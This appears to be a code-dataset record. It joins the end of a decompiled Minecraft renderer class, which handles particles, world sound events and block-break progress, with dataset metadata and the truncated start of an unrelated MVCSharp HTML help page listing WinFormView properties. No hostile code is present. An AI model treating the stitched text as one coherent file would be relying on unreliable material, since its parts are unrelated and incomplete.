public void func_180442_a(int p_180442_1_, boolean p_180442_2_, final double p_180442_3_, final double p_180442_5_, final double p_180442_7_, double p_180442_9_, double p_180442_11_, double p_180442_13_, int ... p_180442_15_) {
try {
this.func_174974_b(p_180442_1_, p_180442_2_, p_180442_3_, p_180442_5_, p_180442_7_, p_180442_9_, p_180442_11_, p_180442_13_, p_180442_15_);
} catch (Throwable var19) {
CrashReport var17 = CrashReport.func_85055_a(var19, "Exception while adding particle");
CrashReportCategory var18 = var17.func_85058_a("Particle being added");
var18.func_71507_a("ID", Integer.valueOf(p_180442_1_));
if(p_180442_15_ != null) {
var18.func_71507_a("Parameters", p_180442_15_);
}
var18.func_71500_a("Position", new Callable() {
private static final String __OBFID = "CL_00000955";
public String call() {
return CrashReportCategory.func_85074_a(p_180442_3_, p_180442_5_, p_180442_7_);
}
// $FF: synthetic method
public Object call() {
return this.call();
}
});
throw new ReportedException(var17);
}
}
private void func_174972_a(EnumParticleTypes p_174972_1_, double p_174972_2_, double p_174972_4_, double p_174972_6_, double p_174972_8_, double p_174972_10_, double p_174972_12_, int ... p_174972_14_) {
this.func_180442_a(p_174972_1_.func_179348_c(), p_174972_1_.func_179344_e(), p_174972_2_, p_174972_4_, p_174972_6_, p_174972_8_, p_174972_10_, p_174972_12_, p_174972_14_);
}
private EntityFX func_174974_b(int p_174974_1_, boolean p_174974_2_, double p_174974_3_, double p_174974_5_, double p_174974_7_, double p_174974_9_, double p_174974_11_, double p_174974_13_, int ... p_174974_15_) {
if(this.field_72777_q != null && this.field_72777_q.func_175606_aa() != null && this.field_72777_q.field_71452_i != null) {
int var16 = this.field_72777_q.field_71474_y.field_74362_aa;
if(var16 == 1 && this.field_72769_h.field_73012_v.nextInt(3) == 0) {
var16 = 2;
}
double var17 = this.field_72777_q.func_175606_aa().field_70165_t - p_174974_3_;
double var19 = this.field_72777_q.func_175606_aa().field_70163_u - p_174974_5_;
double var21 = this.field_72777_q.func_175606_aa().field_70161_v - p_174974_7_;
if(p_174974_2_) {
return this.field_72777_q.field_71452_i.func_178927_a(p_174974_1_, p_174974_3_, p_174974_5_, p_174974_7_, p_174974_9_, p_174974_11_, p_174974_13_, p_174974_15_);
} else {
double var23 = 16.0D;
return var17 * var17 + var19 * var19 + var21 * var21 > 256.0D?null:(var16 > 1?null:this.field_72777_q.field_71452_i.func_178927_a(p_174974_1_, p_174974_3_, p_174974_5_, p_174974_7_, p_174974_9_, p_174974_11_, p_174974_13_, p_174974_15_));
}
} else {
return null;
}
}
public void func_72703_a(Entity p_72703_1_) {}
public void func_72709_b(Entity p_72709_1_) {}
public void func_72728_f() {}
public void func_180440_a(int p_180440_1_, BlockPos p_180440_2_, int p_180440_3_) {
switch(p_180440_1_) {
case 1013:
case 1018:
if(this.field_72777_q.func_175606_aa() != null) {
double var4 = (double)p_180440_2_.func_177958_n() - this.field_72777_q.func_175606_aa().field_70165_t;
double var6 = (double)p_180440_2_.func_177956_o() - this.field_72777_q.func_175606_aa().field_70163_u;
double var8 = (double)p_180440_2_.func_177952_p() - this.field_72777_q.func_175606_aa().field_70161_v;
double var10 = Math.sqrt(var4 * var4 + var6 * var6 + var8 * var8);
double var12 = this.field_72777_q.func_175606_aa().field_70165_t;
double var14 = this.field_72777_q.func_175606_aa().field_70163_u;
double var16 = this.field_72777_q.func_175606_aa().field_70161_v;
if(var10 > 0.0D) {
var12 += var4 / var10 * 2.0D;
var14 += var6 / var10 * 2.0D;
var16 += var8 / var10 * 2.0D;
}
if(p_180440_1_ == 1013) {
this.field_72769_h.func_72980_b(var12, var14, var16, "mob.wither.spawn", 1.0F, 1.0F, false);
} else {
this.field_72769_h.func_72980_b(var12, var14, var16, "mob.enderdragon.end", 5.0F, 1.0F, false);
}
}
default:
}
}
public void func_180439_a(EntityPlayer p_180439_1_, int p_180439_2_, BlockPos p_180439_3_, int p_180439_4_) {
Random var5 = this.field_72769_h.field_73012_v;
double var7;
double var9;
double var11;
int var13;
int var18;
double var19;
double var21;
double var23;
double var32;
switch(p_180439_2_) {
case 1000:
this.field_72769_h.func_175731_a(p_180439_3_, "random.click", 1.0F, 1.0F, false);
break;
case 1001:
this.field_72769_h.func_175731_a(p_180439_3_, "random.click", 1.0F, 1.2F, false);
break;
case 1002:
this.field_72769_h.func_175731_a(p_180439_3_, "random.bow", 1.0F, 1.2F, false);
break;
case 1003:
this.field_72769_h.func_175731_a(p_180439_3_, "random.door_open", 1.0F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 1004:
this.field_72769_h.func_175731_a(p_180439_3_, "random.fizz", 0.5F, 2.6F + (var5.nextFloat() - var5.nextFloat()) * 0.8F, false);
break;
case 1005:
if(Item.func_150899_d(p_180439_4_) instanceof ItemRecord) {
this.field_72769_h.func_175717_a(p_180439_3_, "records." + ((ItemRecord)Item.func_150899_d(p_180439_4_)).field_150929_a);
} else {
this.field_72769_h.func_175717_a(p_180439_3_, (String)null);
}
break;
case 1006:
this.field_72769_h.func_175731_a(p_180439_3_, "random.door_close", 1.0F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 1007:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.ghast.charge", 10.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1008:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.ghast.fireball", 10.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1009:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.ghast.fireball", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1010:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.zombie.wood", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1011:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.zombie.metal", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1012:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.zombie.woodbreak", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1014:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.wither.shoot", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1015:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.bat.takeoff", 0.05F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1016:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.zombie.infect", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1017:
this.field_72769_h.func_175731_a(p_180439_3_, "mob.zombie.unfect", 2.0F, (var5.nextFloat() - var5.nextFloat()) * 0.2F + 1.0F, false);
break;
case 1020:
this.field_72769_h.func_175731_a(p_180439_3_, "random.anvil_break", 1.0F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 1021:
this.field_72769_h.func_175731_a(p_180439_3_, "random.anvil_use", 1.0F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 1022:
this.field_72769_h.func_175731_a(p_180439_3_, "random.anvil_land", 0.3F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 2000:
int var31 = p_180439_4_ % 3 - 1;
int var8 = p_180439_4_ / 3 % 3 - 1;
var9 = (double)p_180439_3_.func_177958_n() + (double)var31 * 0.6D + 0.5D;
var11 = (double)p_180439_3_.func_177956_o() + 0.5D;
var32 = (double)p_180439_3_.func_177952_p() + (double)var8 * 0.6D + 0.5D;
for(int var33 = 0; var33 < 10; ++var33) {
double var34 = var5.nextDouble() * 0.2D + 0.01D;
double var35 = var9 + (double)var31 * 0.01D + (var5.nextDouble() - 0.5D) * (double)var8 * 0.5D;
double var20 = var11 + (var5.nextDouble() - 0.5D) * 0.5D;
double var22 = var32 + (double)var8 * 0.01D + (var5.nextDouble() - 0.5D) * (double)var31 * 0.5D;
double var24 = (double)var31 * var34 + var5.nextGaussian() * 0.01D;
double var26 = -0.03D + var5.nextGaussian() * 0.01D;
double var28 = (double)var8 * var34 + var5.nextGaussian() * 0.01D;
this.func_174972_a(EnumParticleTypes.SMOKE_NORMAL, var35, var20, var22, var24, var26, var28, new int[0]);
}
return;
case 2001:
Block var6 = Block.func_149729_e(p_180439_4_ & 4095);
if(var6.func_149688_o() != Material.field_151579_a) {
this.field_72777_q.func_147118_V().func_147682_a(new PositionedSoundRecord(new ResourceLocation(var6.field_149762_H.func_150495_a()), (var6.field_149762_H.func_150497_c() + 1.0F) / 2.0F, var6.field_149762_H.func_150494_d() * 0.8F, (float)p_180439_3_.func_177958_n() + 0.5F, (float)p_180439_3_.func_177956_o() + 0.5F, (float)p_180439_3_.func_177952_p() + 0.5F));
}
this.field_72777_q.field_71452_i.func_180533_a(p_180439_3_, var6.func_176203_a(p_180439_4_ >> 12 & 255));
break;
case 2002:
var7 = (double)p_180439_3_.func_177958_n();
var9 = (double)p_180439_3_.func_177956_o();
var11 = (double)p_180439_3_.func_177952_p();
for(var13 = 0; var13 < 8; ++var13) {
this.func_174972_a(EnumParticleTypes.ITEM_CRACK, var7, var9, var11, var5.nextGaussian() * 0.15D, var5.nextDouble() * 0.2D, var5.nextGaussian() * 0.15D, new int[]{Item.func_150891_b(Items.field_151068_bn), p_180439_4_});
}
var13 = Items.field_151068_bn.func_77620_a(p_180439_4_);
float var14 = (float)(var13 >> 16 & 255) / 255.0F;
float var15 = (float)(var13 >> 8 & 255) / 255.0F;
float var16 = (float)(var13 >> 0 & 255) / 255.0F;
EnumParticleTypes var17 = EnumParticleTypes.SPELL;
if(Items.field_151068_bn.func_77833_h(p_180439_4_)) {
var17 = EnumParticleTypes.SPELL_INSTANT;
}
for(var18 = 0; var18 < 100; ++var18) {
var19 = var5.nextDouble() * 4.0D;
var21 = var5.nextDouble() * 3.141592653589793D * 2.0D;
var23 = Math.cos(var21) * var19;
double var25 = 0.01D + var5.nextDouble() * 0.5D;
double var27 = Math.sin(var21) * var19;
EntityFX var29 = this.func_174974_b(var17.func_179348_c(), var17.func_179344_e(), var7 + var23 * 0.1D, var9 + 0.3D, var11 + var27 * 0.1D, var23, var25, var27, new int[0]);
if(var29 != null) {
float var30 = 0.75F + var5.nextFloat() * 0.25F;
var29.func_70538_b(var14 * var30, var15 * var30, var16 * var30);
var29.func_70543_e((float)var19);
}
}
this.field_72769_h.func_175731_a(p_180439_3_, "game.potion.smash", 1.0F, this.field_72769_h.field_73012_v.nextFloat() * 0.1F + 0.9F, false);
break;
case 2003:
var7 = (double)p_180439_3_.func_177958_n() + 0.5D;
var9 = (double)p_180439_3_.func_177956_o();
var11 = (double)p_180439_3_.func_177952_p() + 0.5D;
for(var13 = 0; var13 < 8; ++var13) {
this.func_174972_a(EnumParticleTypes.ITEM_CRACK, var7, var9, var11, var5.nextGaussian() * 0.15D, var5.nextDouble() * 0.2D, var5.nextGaussian() * 0.15D, new int[]{Item.func_150891_b(Items.field_151061_bv)});
}
for(var32 = 0.0D; var32 < 6.283185307179586D; var32 += 0.15707963267948966D) {
this.func_174972_a(EnumParticleTypes.PORTAL, var7 + Math.cos(var32) * 5.0D, var9 - 0.4D, var11 + Math.sin(var32) * 5.0D, Math.cos(var32) * -5.0D, 0.0D, Math.sin(var32) * -5.0D, new int[0]);
this.func_174972_a(EnumParticleTypes.PORTAL, var7 + Math.cos(var32) * 5.0D, var9 - 0.4D, var11 + Math.sin(var32) * 5.0D, Math.cos(var32) * -7.0D, 0.0D, Math.sin(var32) * -7.0D, new int[0]);
}
return;
case 2004:
for(var18 = 0; var18 < 20; ++var18) {
var19 = (double)p_180439_3_.func_177958_n() + 0.5D + ((double)this.field_72769_h.field_73012_v.nextFloat() - 0.5D) * 2.0D;
var21 = (double)p_180439_3_.func_177956_o() + 0.5D + ((double)this.field_72769_h.field_73012_v.nextFloat() - 0.5D) * 2.0D;
var23 = (double)p_180439_3_.func_177952_p() + 0.5D + ((double)this.field_72769_h.field_73012_v.nextFloat() - 0.5D) * 2.0D;
this.field_72769_h.func_175688_a(EnumParticleTypes.SMOKE_NORMAL, var19, var21, var23, 0.0D, 0.0D, 0.0D, new int[0]);
this.field_72769_h.func_175688_a(EnumParticleTypes.FLAME, var19, var21, var23, 0.0D, 0.0D, 0.0D, new int[0]);
}
return;
case 2005:
ItemDye.func_180617_a(this.field_72769_h, p_180439_3_, p_180439_4_);
}
}
public void func_180441_b(int p_180441_1_, BlockPos p_180441_2_, int p_180441_3_) {
if(p_180441_3_ >= 0 && p_180441_3_ < 10) {
DestroyBlockProgress var4 = (DestroyBlockProgress)this.field_72738_E.get(Integer.valueOf(p_180441_1_));
if(var4 == null || var4.func_180246_b().func_177958_n() != p_180441_2_.func_177958_n() || var4.func_180246_b().func_177956_o() != p_180441_2_.func_177956_o() || var4.func_180246_b().func_177952_p() != p_180441_2_.func_177952_p()) {
var4 = new DestroyBlockProgress(p_180441_1_, p_180441_2_);
this.field_72738_E.put(Integer.valueOf(p_180441_1_), var4);
}
var4.func_73107_a(p_180441_3_);
var4.func_82744_b(this.field_72773_u);
} else {
this.field_72738_E.remove(Integer.valueOf(p_180441_1_));
}
}
public void func_174979_m() {
this.field_147595_R = true;
}
class ContainerLocalRenderInformation {
final RenderChunk field_178036_a;
final EnumFacing field_178034_b;
final Set field_178035_c;
final int field_178032_d;
private static final String __OBFID = "CL_00002534";
private ContainerLocalRenderInformation(RenderChunk p_i46248_2_, EnumFacing p_i46248_3_, int p_i46248_4_) {
this.field_178035_c = EnumSet.noneOf(EnumFacing.class);
this.field_178036_a = p_i46248_2_;
this.field_178034_b = p_i46248_3_;
this.field_178032_d = p_i46248_4_;
}
// $FF: synthetic method
ContainerLocalRenderInformation(RenderChunk p_i46249_2_, EnumFacing p_i46249_3_, int p_i46249_4_, Object p_i46249_5_) {
this(p_i46249_2_, p_i46249_3_, p_i46249_4_);
}
}
// $FF: synthetic class
static final class SwitchEnumUseage {
// $FF: synthetic field
static final int[] field_178037_a = new int[VertexFormatElement.EnumUseage.values().length];
private static final String __OBFID = "CL_00002535";
static {
try {
field_178037_a[VertexFormatElement.EnumUseage.POSITION.ordinal()] = 1;
} catch (NoSuchFieldError var3) {
;
}
try {
field_178037_a[VertexFormatElement.EnumUseage.UV.ordinal()] = 2;
} catch (NoSuchFieldError var2) {
;
}
try {
field_178037_a[VertexFormatElement.EnumUseage.COLOR.ordinal()] = 3;
} catch (NoSuchFieldError var1) {
;
}
}
}
}
| 50.761622 | 374 | 0.631771 |
7d42ccb685cc3c3b7dc53fb6278d2c3b2f8bbfb5 | 72,762 | htm | HTML | (CSharp)/3) MVP Pattern/MVCSharp/Documentation/API/html/35ff4e41-5aed-96f9-0067-1cb742c69e91.htm | zherar7ordoya/AP3 | 8a7b3130ea9a2066a7ca2624d179e80cd67aa87c | [
"MIT"
] | null | null | null | (CSharp)/3) MVP Pattern/MVCSharp/Documentation/API/html/35ff4e41-5aed-96f9-0067-1cb742c69e91.htm | zherar7ordoya/AP3 | 8a7b3130ea9a2066a7ca2624d179e80cd67aa87c | [
"MIT"
] | null | null | null | (CSharp)/3) MVP Pattern/MVCSharp/Documentation/API/html/35ff4e41-5aed-96f9-0067-1cb742c69e91.htm | zherar7ordoya/AP3 | 8a7b3130ea9a2066a7ca2624d179e80cd67aa87c | [
"MIT"
] | null | null | null | <html xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:mshelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:msxsl="urn:schemas-microsoft-com:xslt"><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8" /><META NAME="save" CONTENT="history" /><title>WinFormView Properties </title><link rel="stylesheet" type="text/css" href="../styles/presentation.css" /><link rel="stylesheet" type="text/css" href="ms-help://Hx/HxRuntime/HxLink.css" /><script type="text/javascript" src="../scripts/EventUtilities.js"> </script><script type="text/javascript" src="../scripts/SplitScreen.js"> </script><script type="text/javascript" src="../scripts/Dropdown.js"> </script><script type="text/javascript" src="../scripts/script_manifold.js"> </script><script type="text/javascript" src="../scripts/script_feedBack.js"> </script><script type="text/javascript" src="../scripts/CheckboxMenu.js"> </script><script type="text/javascript" src="../scripts/CommonUtilities.js"> </script><meta name="container" content="MVCSharp" /><meta name="file" content="35ff4e41-5aed-96f9-0067-1cb742c69e91" /><meta name="guid" content="35ff4e41-5aed-96f9-0067-1cb742c69e91" /><xml><MSHelp:Attr Name="AssetID" Value="Properties.T:MVCSharp.Winforms.WinFormView" /><MSHelp:TOCTitle Title="WinFormView Properties " /><MSHelp:RLTitle Title="WinFormView Properties (MVCSharp.Winforms)" /><MSHelp:Keyword Index="A" Term="Properties.T:MVCSharp.Winforms.WinFormView" /><MSHelp:Keyword Index="A" Term="frlrfMVCSharpWinformsWinFormViewPropertiesTopic" /><MSHelp:Keyword Index="K" Term="WinFormView class, properties" /><MSHelp:Attr Name="DevLang" Value="CSharp" /><MSHelp:Attr Name="DevLang" Value="VB" /><MSHelp:Attr Name="DevLang" Value="C++" /><MSHelp:Attr Name="Locale" Value="en-us" /><MSHelp:Attr Name="TopicType" Value="kbSyntax" /><MSHelp:Attr Name="TopicType" Value="apiref" /></xml></head><body><input type="hidden" id="userDataCache" class="userDataStyle" /><input type="hidden" id="hiddenScrollOffset" /><img id="collapseImage" style="display:none; height:0; width:0;" src="../icons/collapse_all.gif" title="Collapse image" /><img id="expandImage" style="display:none; height:0; width:0;" src="../icons/expand_all.gif" title="Expand Image" /><img id="collapseAllImage" style="display:none; height:0; width:0;" src="../icons/collapse_all.gif" /><img id="expandAllImage" style="display:none; height:0; width:0;" src="../icons/expand_all.gif" /><img id="dropDownImage" style="display:none; height:0; width:0;" src="../icons/dropdown.gif" /><img id="dropDownHoverImage" style="display:none; height:0; width:0;" src="../icons/dropdownHover.gif" /><img id="copyImage" style="display:none; height:0; width:0;" src="../icons/copycode.gif" title="Copy image" /><img id="copyHoverImage" style="display:none; height:0; width:0;" src="../icons/copycodeHighlight.gif" title="CopyHover image" /><div id="header"><table id="topTable" cellspacing="0" cellpadding="0"><tr><td><span onclick="ExpandCollapseAll(toggleAllImage)" style="cursor:default;" onkeypress="ExpandCollapseAll_CheckKey(toggleAllImage, event)" tabindex="0"><img ID="toggleAllImage" class="toggleAll" src="../icons/collapse_all.gif" /> <label id="collapseAllLabel" for="toggleAllImage" style="display: none;">Collapse All</label><label id="expandAllLabel" for="toggleAllImage" style="display: none;">Expand All</label> </span><span> </span><span id="devlangsDropdown" class="filter" tabindex="0"><img id="devlangsDropdownImage" src="../icons/dropdown.gif" /> <label id="devlangsMenuAllLabel" for="devlangsDropdownImage" style="display: none;"><nobr>Code: All </nobr></label><label id="devlangsMenuMultipleLabel" for="devlangsDropdownImage" style="display: none;"><nobr>Code: Multiple </nobr></label><label id="devlangsMenuCSharpLabel" for="devlangsDropdownImage" style="display: none;"><nobr>Code: C# </nobr></label><label id="devlangsMenuVisualBasicLabel" for="devlangsDropdownImage" style="display: none;"><nobr>Code: Visual Basic </nobr></label><label id="devlangsMenuManagedCPlusPlusLabel" for="devlangsDropdownImage" style="display: none;"><nobr>Code: Visual C++ </nobr></label></span><span> </span><span id="memberOptionsDropdown" class="filter" tabindex="0"><img id="memberOptionsDropdownImage" src="../icons/dropdown.gif" /> <label id="memberOptionsMenuAllLabel" for="memberOptionsDropdownImage" style="display: none;"><nobr>Members: Show All </nobr></label><label id="memberOptionsMenuMultipleLabel" for="memberOptionsDropdownImage" style="display: none;"><nobr>Members: Filtered </nobr></label><label id="memberOptionsMenuProtectedLabel" for="memberOptionsDropdownImage" style="display: none;"><nobr>Members: Filtered </nobr></label><label id="memberOptionsMenuInheritedLabel" for="memberOptionsDropdownImage" style="display: none;"><nobr>Members: Filtered </nobr></label></span></td></tr></table><div id="devlangsMenu"><input id="CSharpCheckbox" type="checkbox" data="CSharp,cs,'persist'" value="on" onClick="SetLanguage(this)" /><label class="checkboxLabel" for="CSharpCheckbox">C#</label><br /><input id="VisualBasicCheckbox" type="checkbox" data="VisualBasic,vb,'persist'" value="on" onClick="SetLanguage(this)" /><label class="checkboxLabel" for="VisualBasicCheckbox">Visual Basic</label><br /><input id="ManagedCPlusPlusCheckbox" type="checkbox" data="ManagedCPlusPlus,cpp,'persist'" value="on" onClick="SetLanguage(this)" /><label class="checkboxLabel" for="ManagedCPlusPlusCheckbox">Visual C++</label><br /></div><div id="memberOptionsMenu"><input id="ProtectedCheckbox" type="checkbox" data="Protected" value="on" onClick="SetMemberOptions(this, 'vis')" /><label class="checkboxLabel" for="ProtectedCheckbox">Include Protected Members</label><br /><input id="InheritedCheckbox" type="checkbox" data="Inherited" value="on" onClick="SetMemberOptions(this, 'decl')" /><label class="checkboxLabel" for="InheritedCheckbox">Include Inherited Members</label><br /></div><table id="bottomTable" cellpadding="0" cellspacing="0"><tr id="headerTableRow1"><td align="left"><span id="runningHeaderText">MVC# Documentation</span></td></tr><tr id="headerTableRow2"><td align="left"><span id="nsrTitle">WinFormView Properties </span></td></tr><tr id="headerTableRow3"><td align="left"><a href="bb01282e-b26e-3fb5-15c0-b6f44637ab14.htm">WinFormView Class</a> <a href="#seeAlsoToggle" onclick="OpenSection(seeAlsoToggle)">See Also</a>
<span id="headfeedbackarea" class="feedbackhead">
<a href="javascript:SubmitFeedback('Feedback@MVCSharp.org','MVC# Documentation','','','','%0\dYour%20feedback%20is%20used%20to%20improve%20the%20documentation%20and%20the%20product.%20Your%20e-mail%20address%20will%20not%20be%20used%20for%20any%20other%20purpose%20and%20is%20disposed%20of%20after%20the%20issue%20you%20report%20is%20resolved.%20%20While%20working%20to%20resolve%20the%20issue%20that%20you%20report,%20you%20may%20be%20contacted%20via%20e-mail%20to%20get%20further%20details%20or%20clarification%20on%20the%20feedback%20you%20sent.%20After%20the%20issue%20you%20report%20has%20been%20addressed,%20you%20may%20receive%20an%20e-mail%20to%20let%20you%20know%20that%20your%20feedback%20has%20been%20addressed.%0\A%0\d');">
Send Feedback
</a>
</span>
</td></tr></table><table id="gradientTable"><tr><td class="nsrBottom" background="../icons/gradient.gif" /></tr></table></div><div id="mainSection"><div id="mainBody"><div id="allHistory" class="saveHistory" onsave="saveAll()" onload="loadAll()"><span style="color: DarkGray"> </span></div><p>The <a href="bb01282e-b26e-3fb5-15c0-b6f44637ab14.htm">WinFormView</a> type exposes the following members.</p><h1 class="heading"><span onclick="ExpandCollapse(propertyTableToggle)" style="cursor:default;" onkeypress="ExpandCollapse_CheckKey(propertyTableToggle, event)" tabindex="0"><img id="propertyTableToggle" class="toggle" name="toggleSwitch" src="../icons/collapse_all.gif" />Properties</span></h1><div id="propertyTableSection" class="section" name="collapseableSection" style=""><table id="memberList" class="members" frame="lhs" cellpadding="2"><col width="10%" /><tr><th class="iconColumn">
</th><th class="nameColumn">Name</th><th class="descriptionColumn">Description</th></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2ywhw071" target="_blank">AcceptButton</a></td><td><div class="summary">Gets or sets the button on the form that is clicked when the user presses the ENTER key.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/0d5ew4h2" target="_blank">AccessibilityObject</a></td><td><div class="summary">Gets the <a href="http://msdn2.microsoft.com/en-us/7826d8fd" target="_blank">AccessibleObject</a> assigned to the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/z7xy8ef6" target="_blank">AccessibleDefaultActionDescription</a></td><td><div class="summary">Gets or sets the default action description of the control for use by accessibility client applications.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zxhz39w2" target="_blank">AccessibleDescription</a></td><td><div class="summary">Gets or sets the description of the control used by accessibility client applications.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/4chf59kd" target="_blank">AccessibleName</a></td><td><div class="summary">Gets or sets the name of the control used by accessibility client applications.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/23a7bck8" target="_blank">AccessibleRole</a></td><td><div class="summary">Gets or sets the accessible role of the control </div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/efa3ac8e" target="_blank">ActiveControl</a></td><td><div class="summary">Gets or sets the active control on the container control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2dz698a1" target="_blank">ActiveMdiChild</a></td><td><div class="summary">Gets the currently active multiple document interface (MDI) child window.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/07ey3ty9" target="_blank">AllowDrop</a></td><td><div class="summary">Gets or sets a value indicating whether the control can accept data that the user drags onto it.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/hed1b7ds" target="_blank">AllowTransparency</a></td><td><div class="summary">Gets or sets a value indicating whether the opacity of the form can be adjusted.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/swkhs12y" target="_blank">Anchor</a></td><td><div class="summary">Gets or sets the edges of the container to which a control is bound and determines how a control is resized with its parent. </div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/tdw44a55" target="_blank">AutoScale</a></td><td> <font color="red"><b>Obsolete. </b></font><div class="summary">Gets or sets a value indicating whether the form adjusts its size to fit the height of the font used on the form and scales its controls.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/78a90xab" target="_blank">AutoScaleBaseSize</a></td><td><div class="summary">Gets or sets the base size used for autoscaling of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ey6t55zx" target="_blank">AutoScaleDimensions</a></td><td><div class="summary">Gets or sets the dimensions that the control was designed to.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/h3kyk1we" target="_blank">AutoScaleFactor</a></td><td><div class="summary">Gets the scaling factor between the current and design-time automatic scaling dimensions. </div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/fw0ta176" target="_blank">AutoScaleMode</a></td><td><div class="summary">Gets or sets the automatic scaling mode of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a62htd5x" target="_blank">AutoScroll</a></td><td><div class="summary">Gets or sets a value indicating whether the form enables autoscrolling.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/w1ys5384" target="_blank">AutoScrollMargin</a></td><td><div class="summary">Gets or sets the size of the auto-scroll margin.</div> (Inherited 